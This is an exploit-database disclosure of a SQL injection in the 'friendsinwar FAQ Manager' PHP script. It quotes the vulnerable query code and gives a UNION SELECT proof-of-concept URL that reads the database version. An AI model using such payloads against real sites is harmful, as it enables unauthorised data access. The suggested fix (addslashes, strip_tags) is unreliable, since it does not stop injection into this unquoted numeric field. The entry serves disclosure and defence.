friendsinwar FAQ Manager - 'view_faq.php?question' SQL Injection

Author: unsuprise
type: webapps
platform: php
port: 
date_added: 2012-11-16 
date_updated: 2012-11-16 
verified: 1 
codes: OSVDB-87554 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt23000/the-faq-manager-poc.png 
application_url: http://www.exploit-db.comthe_faq_manager_v1.0.zip

# Exploit Title: friendsinwar FAQ Manager SQL Injection (URL) Vulnerability
# Date: 16.11 2012
# Exploit Author: unsuprise
# Vendor Homepage: http://www.friendsinwar.com
# Software Link:http://www.friendsinwar.com/script_demo/the_faq_manager/
# Tested on: Windows 7, Xampp
# Blog : unsuprise.org

Bug :
view_faq.php

line 3
$question = $_GET['question'];

line 5
$result = mysql_query("SELECT * FROM ".$prefix."faqs WHERE id = ".$question." ORDER BY id");

SQL Injection :
http://localhost/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5--

Solving:
Validate $question (used addslashes() , strip_tags(), or your optimization code)
Validate $result , if data still exist or not..


Thanks to :
d3b4g,All indonesia Security.